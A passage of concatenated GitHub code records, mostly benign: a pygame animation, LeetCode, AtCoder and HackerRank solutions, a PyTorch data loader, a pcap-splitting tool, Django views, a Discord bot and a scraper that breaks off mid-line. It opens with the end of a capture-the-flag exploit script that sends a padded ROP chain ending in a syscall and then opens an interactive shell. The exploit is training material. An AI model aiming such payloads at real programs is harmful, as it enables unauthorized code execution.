popRdx\nrop += p64(0)\n\nrop += syscall\n\n# add the padding\npayload = bytes([0] * 0x408) + rop\n\n# print(payload)\n# import sys\n# sys.stdout.buffer.write(payload)\ntarget.sendline(payload)\ntarget.interactive()","repo_name":"gautierenaud/programming_toolbox","sub_path":"nightmare_binary_reverse_engineer/02_stack_buffer_overflow/10_speedrun_001/speedrun_001_pwn.py","file_name":"speedrun_001_pwn.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"2969021640","text":"import pygame\r\nimport random\r\nfrom math import sin, tan\r\nfrom colors import *\r\n\r\nMIN_VEL = 10\r\nMAX_VEL = 40\r\n\r\nclass Firefly():\r\n def __init__(self, screen_w, screen_h):\r\n self.x = random.randint(0, screen_w)\r\n self.y = random.randint(0, screen_h)\r\n self.y_pos_offset = random.randint(1, screen_h)\r\n self.randomize_props()\r\n \r\n \r\n def randomize_props(self):\r\n self.r = random.randint(6, 16)\r\n self.pulse = random.randint(6,14) # determines the radius of the blink\r\n self.offset = random.randint(1,10) # offsets the blink pattern timing\r\n self.vel_x = self.rand_vel(20, 50)\r\n self.vel_y = self.rand_vel(20, 50)\r\n self.y_pos_sin_scale = random.randint(50,250)\r\n self.y_sin_offset = random.randint(1,10)\r\n \r\n\r\n def rand_vel(self, low, high): # returns random velocity\r\n num = random.randint(low, high)\r\n if random.randint(0,1):\r\n return -num\r\n return num\r\n\r\n\r\n def update_radius(self, time_elapsed, freq_scale=1):\r\n self.r = sin((time_elapsed+self.offset)*freq_scale) * self.pulse\r\n\r\n\r\n def update_pos_linear(self, time_elapsed, delta_t, screen_w, screen_h):\r\n self.x += self.vel_x * delta_t\r\n self.y += self.vel_y * delta_t\r\n \r\n if self.x - self.r > screen_w: # checks right side\r\n self.x = -self.r\r\n \r\n elif self.x <= -self.r:\r\n self.x = screen_w + self.r\r\n \r\n if self.y + self.r <= 0: # checks top\r\n self.y = screen_h + self.r\r\n \r\n elif self.y - self.r >= screen_h:\r\n self.y = -self.r\r\n\r\n\r\n def update_pos_rng(self, time_elapsed, delta_t, screen_w, screen_h):\r\n self.x += (self.vel_x) * delta_t\r\n self.y = sin(time_elapsed + self.y_sin_offset) * self.y_pos_sin_scale + self.y_pos_offset\r\n\r\n if self.x - self.r > screen_w: # checks right side\r\n self.x = -self.r\r\n \r\n elif self.x <= -self.r:\r\n self.x = screen_w + self.r\r\n \r\n if self.y + self.r <= 0: # checks top\r\n self.y = screen_h + self.r\r\n \r\n elif self.y - self.r >= screen_h:\r\n self.y = -self.r\r\n\r\n\r\n def draw(self, screen, time_elapsed):\r\n if self.r > 0:\r\n pygame.draw.circle(screen, FIREFLY_ORANGE, [self.x,self.y], self.r+2, 2)\r\n pygame.draw.circle(screen, FIREFLY_YELLOW, [self.x,self.y], self.r)","repo_name":"harrisoncrettol/FireFly","sub_path":"insects.py","file_name":"insects.py","file_ext":"py","file_size_in_byte":2454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"70021888161","text":"'''\n题目:最长有效括号\n描述:\n给定一个只包含 '(' 和 ')' 的字符串,找出最长的包含有效括号的子串的长度。\n\n示例 1:\n\n输入: \"(()\"\n输出: 2\n解释: 最长有效括号子串为 \"()\"\n示例 2:\n\n输入: \")()())\"\n输出: 4\n解释: 最长有效括号子串为 \"()()\"\n'''\n\n'''\n1、用栈存储左括号,这样来快速找到某个右括号的配对\n2、动态规划,maxLength表示以第k位结尾的最长的有效括号长度\n60 ms\n'''\nclass Solution:\n def longestValidParentheses(self, s):\n \"\"\"\n :type s: str\n :rtype: int\n \"\"\"\n stack = []\n maxLength = {} # (k, v)表示以第k位结尾的最长的有效括号长度是v\n for i in range(len(s)):\n if s[i] == '(':\n stack.append(i)\n else:\n if len(stack) == 0: continue\n index = stack.pop(-1) # 对应的左括号的index\n if index - 1 in maxLength:\n maxLength[i] = maxLength[index - 1] + i - index + 1\n else:\n maxLength[i] = i - index + 1\n\n if len(maxLength) == 0:\n return 0\n else:\n return max(maxLength.values())\n\n\nclass Solution:\n def longestValidParentheses(self, s):\n \"\"\"\n :type s: str\n :rtype: int\n \"\"\"\n maxlen = 0\n stack = []\n start = -1\n for i, c in enumerate(s):\n if c == '(':\n stack.append(i)\n else:\n if stack:\n stack.pop()\n # 当找到配对的左括号时,考虑以i结尾的最长的有效括号,设起点为s\n # s-1如果是左括号,那么必须等于stack[-1],就是以下的if部分\n # s-1如果是右括号,那么是单独没配对的括号,就是以下的else部分\n if stack:\n l = i - stack[-1]\n else:\n l = i - start\n if l > maxlen:\n maxlen = l\n else:\n start = i\n return maxlen\n","repo_name":"txwjj33/leetcode","sub_path":"problems_100/032_longestValidParentheses.py","file_name":"032_longestValidParentheses.py","file_ext":"py","file_size_in_byte":2179,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"15737445582","text":"# 导入相关的包\r\nimport numpy as np\r\nimport torch\r\nimport torch.utils.data as Data\r\n# 生成批量训练数据\r\ndef load_dataset(data_file, batch_size):\r\n # 将第二步生成的train.npz文件导入内存\r\n data = np.load(data_file)\r\n # 分别取出特征值和标签\r\n x_data = data['x_data']\r\n y_data = data['y_data']\r\n # 将数据封装成tensor张量\r\n x = torch.tensor(x_data, dtype=torch.long)\r\n y = torch.tensor(y_data, dtype=torch.long)\r\n # 将数据封装成Tensor数据集\r\n dataset = Data.TensorDataset(x, y)\r\n total_length = len(dataset)\r\n # 采用80%的数据作为训练集, 20%的数据作为测试集\r\n train_length = int(total_length * 0.8)\r\n validation_length = total_length - train_length\r\n # 利用Data.random_split()直接切分集合, 按照80%, 20%的比例划分\r\n train_dataset, validation_dataset = Data.random_split(dataset=dataset,\r\n lengths=[train_length, validation_length])\r\n # 将训练集进行DataLoader封装\r\n # 参数说明如下:\r\n # dataset: 训练数据集\r\n # batch_size: 代表批次大小, 若数据集总样本数量无法被batch_size整除, 则最后一批数据为余数\r\n # 若设置drop_last为True, 则自动抹去最后不能被整除的剩余批次\r\n # shuffle: 是否每个批次为随机抽取, 若为True, 则每次迭代时数据为随机抽取\r\n # num_workers: 设定有多少子进程用来做数据加载, 默认为0, 即数据将被加载到主进程中\r\n # drop_last: 是否去除不能被整除后的最后批次, 若为True, 则不生成最后不能被整除剩余的数据内容\r\n # 例如: dataset长度为1028, batch_size为8,\r\n # 若drop_last=True, 则最后剩余的4(1028/8=128余4)条数据将被抛弃不用\r\n train_loader = Data.DataLoader(dataset=train_dataset, batch_size=batch_size,\r\n shuffle=True, num_workers=4, drop_last=True)\r\n validation_loader = Data.DataLoader(dataset=validation_dataset, batch_size=batch_size,\r\n shuffle=True, num_workers=4, drop_last=True)\r\n # 将两个数据生成器封装为一个字典类型\r\n data_loaders = {'train': train_loader, 'validation': validation_loader}\r\n # 将两个数据集的长度也封装为一个字典类型\r\n data_size = {'train': train_length, 'validation': validation_length}\r\n return data_loaders, data_size\r\n# 批次大小\r\nBATCH_SIZE = 8\r\n# 编码后的训练数据文件路径\r\nDATA_FILE = 'data/train.npz'\r\nif __name__ == '__main__':\r\n data_loader, data_size = load_dataset(DATA_FILE, BATCH_SIZE)\r\n print('data_loader:', data_loader, '\\ndata_size:', data_size)","repo_name":"1193700079/ai_doctor","sub_path":"off_line/ner_model/loader_data.py","file_name":"loader_data.py","file_ext":"py","file_size_in_byte":2768,"program_lang":"python","lang":"zh","doc_type":"code","stars":18,"dataset":"github-code","pt":"54"} +{"seq_id":"35461423980","text":"H, W, K = map(int, input().split())\nfield = [list(input()) for _ in range(H)]\n\nno_straw_hs = []\nstraw_hs = []\nans = [[0] * W for _ in range(H)]\nnum = 1\nfor h in range(H):\n if \"#\" not in field[h]:\n no_straw_hs.append(h)\n continue\n first = True\n for w in range(W):\n if field[h][w] == \"#\":\n if first:\n first = False\n else:\n num += 1\n ans[h][w] = num\n num += 1\n straw_hs.append(h)\n\n\ndef bin_search(A, target):\n left = -1\n right = len(A)\n while right - left > 1:\n mid = (left + right) // 2\n if A[mid] > target:\n right = mid\n else:\n left = mid\n return right\n\n\nfor h in no_straw_hs:\n th_idx = bin_search(straw_hs, h)\n if not th_idx < len(straw_hs):\n th_idx = -1\n th = straw_hs[th_idx]\n for w in range(W):\n ans[h][w] = ans[th][w]\n\n\nfor row in ans:\n print(*row)\n","repo_name":"kiccho1101/atcoder","sub_path":"ddcc2020-qual/c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"12510389842","text":"import copy\nclass NumArray(object):\n\n def __init__(self, nums):\n \"\"\"\n :type nums: List[int]\n \"\"\"\n self.sums = copy.copy(nums)\n tmp = 0\n for i in xrange(len(self.sums)):\n self.sums[i]+=tmp\n tmp = self.sums[i]\n \n\n def sumRange(self, i, j):\n \"\"\"\n :type i: int\n :type j: int\n :rtype: int\n \"\"\"\n ret = self.sums[j]\n if i>0:\n ret -= self.sums[i-1]\n return ret\n \n\n\n# Your NumArray object will be instantiated and called as such:\n# obj = NumArray(nums)\n# param_1 = obj.sumRange(i,j)","repo_name":"nyroro/leetcode","sub_path":"LC303.py","file_name":"LC303.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"8707566298","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jan 16 11:30:41 2020\n\n@author: suryakantkumar\n\"\"\"\n\n'''\nProblem : Sorting is useful as the first step in many different tasks. \nThe most common task is to make finding things easier, but there are other uses as well. \nIn this case, it will make it easier to determine which pair or pairs of elements have the smallest absolute difference between them.\n\nFor example, if you've got the list [5, 2, 3, 4, 1], sort it as [1, 2, 3, 4, 5] to see that several pairs have the minimum difference of : \n1: [(1, 2), (2, 3), (3, 4), (4, 5)]. The return array would be [1, 2, 2, 3, 3, 4, 4 ,5].\n\nGiven a list of unsorted integers, arr, find the pair of elements that have the smallest absolute difference between them. \nIf there are multiple pairs, find them all.\n'''\n\n\nimport os\n\ndef closestNumbers(arr):\n li = sorted(arr)\n\n min_diff = li[1] - li[0]\n for i in range(1, len(li)):\n if li[i] - li[i -1] < min_diff:\n min_diff = li[i] - li[i -1]\n \n result = []\n for i in range(1, len(li)):\n if li[i] - li[i-1] == min_diff:\n result.append(li[i-1])\n result.append(li[i])\n \n return result\n \nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n n = int(input())\n arr = list(map(int, input().rstrip().split()))\n result = closestNumbers(arr)\n fptr.write(' '.join(map(str, result)))\n fptr.write('\\n')\n fptr.close()","repo_name":"SuryakantKumar/HackerRank-Problem-Solving","sub_path":"Easy Level/Closest-Numbers.py","file_name":"Closest-Numbers.py","file_ext":"py","file_size_in_byte":1478,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"18879446281","text":"\"\"\"\nPlugin that takes pcap files and splits them by server and client\nip addresses\n\nCreated on 17 July 2017\n@author: Blake Pagon\n\"\"\"\n\n# TODO: https://github.com/PyCQA/bandit/issues/333 for bandit false positive on subprocess.\n\nimport argparse\nimport datetime\nimport ipaddress\nimport json\nimport os\nimport re\nimport shlex\nimport shutil\nimport subprocess\nimport tempfile\n\nimport pika\nimport network_tools_lib\n\nVERSION = network_tools_lib.get_version()\nTSHARK_FIELDS = ('ip', 'ipv6', 'arp', 'tcp', 'udp')\n\n\ndef parse_layer_ports(json_fields):\n ports = set()\n for field, content in json_fields.items():\n if field.endswith('port'):\n try:\n port = int(content)\n ports.add(port)\n except ValueError:\n continue\n return ports\n\ndef ipaddress_fields(json_fields):\n ipas = set()\n for _, content in sorted(json_fields.items()):\n try:\n ipa = str(ipaddress.ip_address(content))\n ipa = re.sub(r'[^0-9]+', '-', ipa)\n except ValueError:\n continue\n ipas.add(ipa)\n return ipas\n\ndef pcap_name_with_layers(pcap_filename, pcap_layers, pcap_suffix):\n pcap_basename = os.path.basename(pcap_filename)\n pcap_basename = pcap_basename.replace(pcap_suffix, '')\n safe_pcap_layers = [\n re.sub(r'[^a-zA-Z0-9\\-]+', '', i) for i in pcap_layers]\n layers_str = '-'.join(safe_pcap_layers)\n layers_pcap_filename = pcap_filename.replace(\n pcap_basename, '-'.join((pcap_basename, layers_str)))\n return layers_pcap_filename\n\ndef parse_pcap_json_to_layers(pcap_json):\n pcap_layers = []\n for packet_json in pcap_json:\n try:\n layers_json = packet_json['_source']['layers']\n except KeyError:\n continue\n ipas = set()\n ports = set()\n for field in TSHARK_FIELDS:\n if field in layers_json:\n json_fields = layers_json[field]\n ipas = ipas.union(ipaddress_fields(json_fields))\n ports = ports.union(parse_layer_ports(json_fields))\n lowest_port = []\n if ports:\n lowest_port = ['port-%u' % min(ports)]\n packet_layers = list(sorted(ipas)) + list(layers_json.keys()) + lowest_port\n if len(packet_layers) > len(pcap_layers):\n pcap_layers = packet_layers\n return pcap_layers\n\ndef proto_annotate_pcaps(pcap_dir):\n pcap_suffix = '.pcap'\n try:\n pap_filenames = [\n pcap.path for pcap in os.scandir(pcap_dir)\n if pcap.is_file() and pcap.path.endswith(pcap_suffix)]\n except FileNotFoundError as err:\n print(err)\n return\n for pcap_filename in pap_filenames:\n try:\n # disable DNS, limit to 10 packets, limit fields.\n response = subprocess.check_output(shlex.split(' '.join( # nosec\n [shutil.which('tshark'), '-T', 'json', '-c', str(10), '-n',\n '-J', '\"%s\"' % ' '.join(TSHARK_FIELDS), '-r', pcap_filename])))\n pcap_json = json.loads(response.decode('utf-8'))\n except (json.decoder.JSONDecodeError, subprocess.CalledProcessError) as e:\n print(pcap_filename, str(e))\n continue\n pcap_layers = parse_pcap_json_to_layers(pcap_json)\n print(pcap_filename, pcap_layers)\n layers_pcap_filename = pcap_name_with_layers(pcap_filename, pcap_layers, pcap_suffix)\n os.rename(pcap_filename, layers_pcap_filename)\n\ndef connect_rabbit(host='messenger', port=5672, queue='task_queue'):\n params = pika.ConnectionParameters(host=host, port=port)\n connection = pika.BlockingConnection(params)\n channel = connection.channel()\n channel.queue_declare(queue=queue, durable=True)\n return channel\n\ndef send_rabbit_msg(msg, channel, exchange='', routing_key='task_queue'):\n channel.basic_publish(exchange=exchange,\n routing_key=routing_key,\n body=json.dumps(msg),\n properties=pika.BasicProperties(delivery_mode=2,))\n print(\" [X] %s UTC %r %r\" % (str(datetime.datetime.utcnow()),\n str(msg['id']), str(msg['file_path'])))\n\ndef get_path(paths):\n path = None\n try:\n path = paths[0]\n except Exception as e:\n print(\"No path provided: {0}, quitting\".format(str(e)))\n return path\n\ndef run_split(in_path, clients_dir, servers_dir):\n for tool_cmd in (\n \" \".join((\"/PcapSplitter -f\", in_path, \"-o\", clients_dir, \"-m client-ip\")),\n \" \".join((\"/PcapSplitter -f\", in_path, \"-o\", servers_dir, \"-m server-ip\"))):\n try:\n subprocess.check_call(shlex.split(tool_cmd)) # nosec\n except Exception as err:\n print(\"%s: %s\" % (tool_cmd, err))\n\ndef run_tool(path, protoannotate):\n if os.path.getsize(path) < 100:\n print(\"pcap file too small, not splitting\")\n return None\n\n # need to make directories to store results from pcapsplitter\n base_dir = path.rsplit('/', 1)[0]\n timestamp = '-'.join(str(datetime.datetime.now()).split(' ')) + '-UTC'\n timestamp = timestamp.replace(':', '_')\n output_dir = os.path.join(base_dir, 'pcap-node-splitter' + '-' + timestamp)\n clients_dir = os.path.join(output_dir, 'clients')\n servers_dir = os.path.join(output_dir, 'servers')\n\n try:\n os.mkdir(output_dir)\n # Ensure file_drop doesn't see pcap before annotation..\n if protoannotate:\n tmp_clients_dir = tempfile.mkdtemp()\n tmp_servers_dir = tempfile.mkdtemp()\n run_split(path, tmp_clients_dir, tmp_servers_dir)\n for tmp_dir, final_dir in (\n (tmp_clients_dir, clients_dir),\n (tmp_servers_dir, servers_dir)):\n proto_annotate_pcaps(tmp_dir)\n shutil.copytree(tmp_dir, final_dir)\n shutil.rmtree(tmp_dir)\n else:\n for new_dir in (clients_dir, servers_dir):\n os.mkdir(new_dir)\n run_split(path, clients_dir, servers_dir)\n except Exception as err:\n print(err)\n\n return clients_dir\n\ndef parse_args(parser):\n parser.add_argument(\n '--protoannotate',\n help='use tshark to annotate pcaps with protocol',\n action='store_true',\n default=True)\n parser.add_argument('paths', nargs='*')\n parsed_args = parser.parse_args()\n return parsed_args\n\n\nif __name__ == '__main__': # pragma: no cover\n parsed_args = parse_args(argparse.ArgumentParser())\n path = get_path(parsed_args.paths)\n if path:\n result_path = run_tool(path, parsed_args.protoannotate)\n uid = ''\n if 'id' in os.environ:\n uid = os.environ['id']\n if os.environ.get('rabbit', False) == 'true':\n try:\n channel = connect_rabbit()\n body = {'id': uid, 'type': 'metadata', 'file_path': result_path, 'data': '',\n 'results': {'tool': 'pcap-splitter', 'version': VERSION}}\n send_rabbit_msg(body, channel)\n except Exception as e:\n print(str(e))\n","repo_name":"faucetsdn/network-tools","sub_path":"pcap_to_node_pcap/pcap_to_node_pcap.py","file_name":"pcap_to_node_pcap.py","file_ext":"py","file_size_in_byte":7078,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"54"} +{"seq_id":"29354669430","text":"# DP\nclass Solution:\n def numSquares(self, n: int) -> int:\n ans = [0] + [10000] * n\n fsquare = [i*i for i in range(1, int(sqrt(n))+1)]\n\n for i in range(n+1):\n for j in fsquare:\n if j > i: # 这里加上能提2000ms左右的速度\n break\n ans[i] = min(ans[i], ans[i-j] + 1)\n \n return ans[n]\n\n# 数学\nclass Solution:\n def numSquares(self, n: int) -> int:\n \n # 经证明,不断除以4的过程可以优先进行,不影响后续\n while(not n % 4):\n n //= 4\n if n % 8 == 7:\n return 4\n \n fsquare = set(i*i for i in range(1, int(sqrt(n))+1))\n\n if n in fsquare:\n return 1\n \n for i in fsquare:\n if (n - i) in fsquare:\n return 2\n \n return 3\n","repo_name":"Muyiyunzi/LeetCode","sub_path":"279.py","file_name":"279.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"8615934145","text":"# my code\n\nn = int(input())\npattern = list(input().split('*'))\nfirst = len(pattern[0])\nfinal = len(pattern[1])\n\nfor i in range(n):\n \n word = input()\n if first + final - len(word) > 0:\n print('NE')\n elif word[:first] == pattern[0] and word[len(word)-final:] == pattern[1]:\n print('DA')\n else:\n print('NE')\n","repo_name":"inni-iii/Algorithm","sub_path":"coding with python/baekjoon/9996.py","file_name":"9996.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"13615457851","text":"from models import UserGallery\nfrom django.shortcuts import render\nfrom members.models import Member\nfrom galleries.models import UserGallery, ImageModel, PhotoCommentTree\n\ndef member_main_gallery(request, member_id):\n member = Member.objects.get(pk=member_id)\n return render(request, 'galleries/main_member_gallery.html', {\n 'member': member,\n 'gallery': member.main_gallery\n })\n\ndef public_member_gallery(request, gallery_id):\n gallery = UserGallery.objects.get(pk=gallery_id)\n member = Member.objects.get(pk=gallery.owner_id)\n return render(request, 'galleries/public_member_gallery.html', {\n 'member': member,\n 'gallery': gallery\n })\n\ndef public_member_photo(request, gallery_id, photo_id):\n\n gallery = UserGallery.objects.get(pk=gallery_id)\n member = Member.objects.get(pk=gallery.owner_id)\n photo = ImageModel.objects.get(pk=photo_id)\n photo.view_count += 1\n photo.save()\n\n return render(request, 'galleries/public_member_photo.html', {\n 'member': member,\n 'gallery': gallery,\n 'photo': photo,\n })","repo_name":"Raymond26/DjangoTest","sub_path":"galleries/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1094,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"29078339245","text":"\"\"\"Main script for ADDA.\"\"\"\n\nimport params\nfrom core import eval_src, eval_tgt, train_src, train_tgt\nfrom models import Discriminator, LeNetClassifier, LeNetEncoder\nfrom utils import get_data_loader, init_model, init_random_seed\nfrom datasets.dataset import ADDA_data\nfrom torch.utils.data import DataLoader\nimport torch\nimport os\n\nif __name__ == '__main__':\n # init random seed\n init_random_seed(params.manual_seed)\n\n # load dataset\n src_data_train = ADDA_data(params.src_dataset, params.src_csv, 'train')\n src_data_val = ADDA_data(params.src_dataset, params.src_csv, 'val')\n tgt_data_train = ADDA_data(params.tgt_dataset, params.tgt_csv, 'train')\n tgt_data_valt = ADDA_data(params.tgt_dataset, params.tgt_csv, 'val')\n\n src_data_loader = DataLoader(dataset=src_data_train, batch_size=params.batch_size, shuffle=True, num_workers=params.n_cpu)\n src_data_loader_eval = DataLoader(dataset=src_data_val, batch_size=params.batch_size, shuffle=False, num_workers=params.n_cpu)\n tgt_data_loader = DataLoader(dataset=tgt_data_train, batch_size=params.batch_size, shuffle=True, num_workers=params.n_cpu)\n tgt_data_loader_eval = DataLoader(dataset=tgt_data_valt, batch_size=params.batch_size, shuffle=False, num_workers=params.n_cpu)\n\n # load models\n src_encoder = init_model(net=LeNetEncoder(),\n restore=params.src_encoder_restore)\n src_classifier = init_model(net=LeNetClassifier(),\n restore=params.src_classifier_restore)\n tgt_encoder = init_model(net=LeNetEncoder(),\n restore=params.tgt_encoder_restore)\n critic = init_model(Discriminator(input_dims=params.d_input_dims,\n hidden_dims=params.d_hidden_dims,\n output_dims=params.d_output_dims),\n restore=params.d_model_restore)\n\n # train source model\n print(\"=== Training classifier for source domain ===\")\n # print(\">>> Source Encoder <<<\")\n # print(src_encoder)\n # print(\">>> Source Classifier <<<\")\n # print(src_classifier)\n\n if not (src_encoder.restored and src_classifier.restored and\n params.src_model_trained):\n src_encoder, src_classifier = train_src(\n src_encoder, src_classifier, src_data_loader, src_data_loader_eval)\n # Load the best model during training\n src_encoder.load_state_dict(torch.load(os.path.join(params.model_root, 'ADDA-source-encoder-best.pt')))\n src_classifier.load_state_dict(torch.load(os.path.join(params.model_root, 'ADDA-source-classifier-best.pt')))\n\n # eval source model\n print(\"=== Evaluating classifier for source domain ===\")\n _ = eval_src(src_encoder, src_classifier, src_data_loader_eval)\n\n # train target encoder by GAN\n print(\"=== Training encoder for target domain ===\")\n # print(\">>> Target Encoder <<<\")\n # print(tgt_encoder)\n # print(\">>> Critic <<<\")\n # print(critic)\n\n # init weights of target encoder with those of source encoder\n if not tgt_encoder.restored:\n tgt_encoder.load_state_dict(src_encoder.state_dict())\n\n if not (tgt_encoder.restored and critic.restored and\n params.tgt_model_trained):\n tgt_encoder = train_tgt(src_encoder, src_classifier, tgt_encoder, critic,\n src_data_loader, tgt_data_loader, tgt_data_loader_eval)\n\n tgt_encoder.load_state_dict(torch.load(os.path.join(params.model_root, 'ADDA-target-encoder-best.pt')))\n # eval target encoder on test set of target dataset\n print(\"=== Evaluating classifier for encoded target domain ===\")\n print(\">>> source only <<<\")\n _ = eval_tgt(src_encoder, src_classifier, tgt_data_loader_eval)\n print(\">>> domain adaption <<<\")\n _ = eval_tgt(tgt_encoder, src_classifier, tgt_data_loader_eval)\n","repo_name":"come880412/DLCV2021_Fall","sub_path":"hw2/code/ADDA/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"17799852378","text":"import asyncio\nimport json\nimport os\nimport random\nimport discord\nfrom discord.ext.commands import Bot\nfrom discord.ext.commands import when_mentioned_or\nfrom discord.ext.commands import ExtensionError\nimport datetime\n\nfrom keep_alive import keep_alive\n\n\nclass CogList:\n\n cogs = [\n \"cogs.core\",\n \"cogs.counter\",\n \"cogs.misc\",\n ]\n\n\nbot = Bot(command_prefix=when_mentioned_or(\"b!\"))\nbot.remove_command(\"help\")\n\nbot_uptime = datetime.datetime.now() \n\n@bot.event\nasync def on_ready():\n global bot_uptime\n print(f\"Logged in as {bot.user}\\nAvailable in servers: {bot.guilds[0]}\")\n bot.loop.create_task(status_changer())\n await load_all_cogs()\n\n\n\n\nasync def load_all_cogs():\n for cog in CogList.cogs:\n try:\n bot.load_extension(cog)\n print(f\"loaded ext {cog}\")\n except ExtensionError as err:\n print(f\"Failed to load ext {cog}: [{err}]\")\n return print(\"\\nloaded cogs\")\n\n\nasync def status_changer():\n with open(f'./cogs/config.json') as conf:\n config = json.load(conf)\n while True:\n await asyncio.sleep(20)\n activity = random.choice(config[\"activities\"])\n await bot.change_presence(activity=discord.Activity(name=activity[\"name\"], type=discord.ActivityType[activity[\"status\"]]))\n\n\ndef starttime(current_time):\n \"\"\"takes the current time and returns the bot's uptime\"\"\"\n uptime = current_time - bot_uptime\n return uptime\n\n\ndef main(secret):\n bot.run(secret)\n\n\nif __name__ == \"__main__\":\n secret = os.environ[\"TOKEN\"]\n keep_alive()\n main(secret)","repo_name":"Okkonen-GitHub/based-count-bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"2498411525","text":"import numpy as np # linear algebra\r\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\r\nimport os\r\nimport sys\r\nimport gc # We're gonna be clearing memory a lot\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\nfrom sklearn import preprocessing, linear_model\r\nfrom sklearn.naive_bayes import GaussianNB\r\nle = preprocessing.LabelEncoder()\r\n\r\nX=[]\r\nXT=[]\r\nY=[]\r\nbufsize = 65536\r\ni = 0\r\nwith open('../input/clicks_train.csv') as infile: \r\n while True:\r\n lines = infile.readlines(bufsize)\r\n if not lines:\r\n break\r\n for line in lines:\r\n if i ==0 :\r\n i=i+1\r\n continue\r\n if i > 10000:\r\n break\r\n x_i=[]\r\n linee = line.split(',')\r\n x_i.append(linee[0])\r\n x_i.append(linee[1])\r\n x_i=np.array(x_i).astype(np.int)\r\n x_i.reshape(1, 2)\r\n Y.append(linee[2])\r\n X.append(x_i)\r\n i=i+1\r\ni = 0 \r\nwith open('../input/clicks_test.csv') as infile: \r\n while True:\r\n lines = infile.readlines(bufsize)\r\n if not lines:\r\n break\r\n if i > 1000:\r\n break\r\n for line in lines:\r\n if i==0 :\r\n i=i+1\r\n continue\r\n x_i=[]\r\n linee = line.split(',')\r\n if len(linee) < 2:\r\n continue\r\n x_i.append(linee[0])\r\n x_i.append(linee[1])\r\n XT.append(x_i)\r\n #print (\"Hey\",len(XT))\r\n i=i+1 \r\n#infile.close()\r\n#print X,Y\r\n#data = df.ix[:,:].values\r\nprint (len(X))\r\nprint (len(XT))\r\nX= np.array(X).astype(np.int)\r\nXT=np.array(XT).astype(np.int)\r\nY= np.array(Y).astype(np.int)\r\nfrom sklearn.naive_bayes import GaussianNB\r\ngnb = GaussianNB()\r\nX=X.reshape(len(X), 2)\r\nY=Y.reshape(len(Y), 1)\r\nXT=XT.reshape(len(XT), 2)\r\n# Create linear regression object\r\nregr = linear_model.LinearRegression()\r\n# Train the model using the training sets\r\nregr.fit(X,Y)\r\ngnb.fit(X,Y.ravel())\r\nslope = regr.coef_[0][0]\r\nintercept = regr.intercept_\r\n# The coefficients\r\nprint(\"y = %f + %f \" %( intercept,slope))\r\n# The mean squared error\r\nprint(\"Mean squared error: %.10f\"\r\n % np.mean((regr.predict(X) -Y) ** 2))\r\ni=0 \r\nfor x in XT:\r\n if i > 100:\r\n break\r\n xp=np.array(x).astype(np.int)\r\n xp=xp.reshape(1, 2)\r\n print (xp)\r\n print(regr.predict(xp))\r\n i=i+1","repo_name":"sajedjalil/Data-Science-Pipeline-Detector","sub_path":"dataset/outbrain-click-prediction/mitulap/simple-r-start.py","file_name":"simple-r-start.py","file_ext":"py","file_size_in_byte":2454,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"54"} +{"seq_id":"73423740960","text":"def main():\n months = \"JanFebMarAprMayJunJulAugSepOctNovDec\"\n\n n = eval(input(\"Enter a month number 1-12: \"))\n\n pos = (n - 1) * 3\n\n monthAbbrev = months[pos:pos+3]\n\n print(\"THe abbrev is:\", monthAbbrev)\n\n\ndef stringstuff():\n message = input(\"Enter a message: \")\n newMessage = \"\"\n\n for c in message:\n newC = chr(ord(c) + 256)\n newMessage += newC\n\n print(\"Secret: \", newMessage)\n\n\nstringstuff()\n","repo_name":"Cryptic-Peonix/SchoolPythonProjects","sub_path":"month/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"71252944803","text":"#!/usr/bin/env python3\n\nimport datetime\n\nfrom bs4 import BeautifulSoup\nimport requests\n\nTEST_PAGE = \"/home/jerry/Documents/kxlu_spinitron.html\"\nKXLU_PAGE = \"https://spinitron.com/KXLU/\"\n\n\nresponse = requests.get(KXLU_PAGE)\nt = response.text\n# t = open(TEST_PAGE).read()\n\nsoup = BeautifulSoup(t, \"html.parser\")\n\nshow_title = None\ndj_name = None\nartist = \"Unknown\"\nsong = \"\"\nfh = open(\"last_song.txt\", \"r\")\nlast_song = fh.read()\nfh.close()\n\nfor h3 in soup.find_all(\"h3\"):\n myclass = h3.get(\"class\")\n if myclass == [\"show-title\"]:\n show_title = h3.a.text\n\nfor p in soup.find_all(\"p\"):\n myclass = p.get(\"class\")\n if myclass == [\"dj-name\"]:\n dj_name = p.a.text\n\nfor div in soup.find_all(\"div\"):\n myclass = div.get(\"class\")\n if myclass == [\"spin\"]:\n artist = div.span.text\n break\n\nfor span in 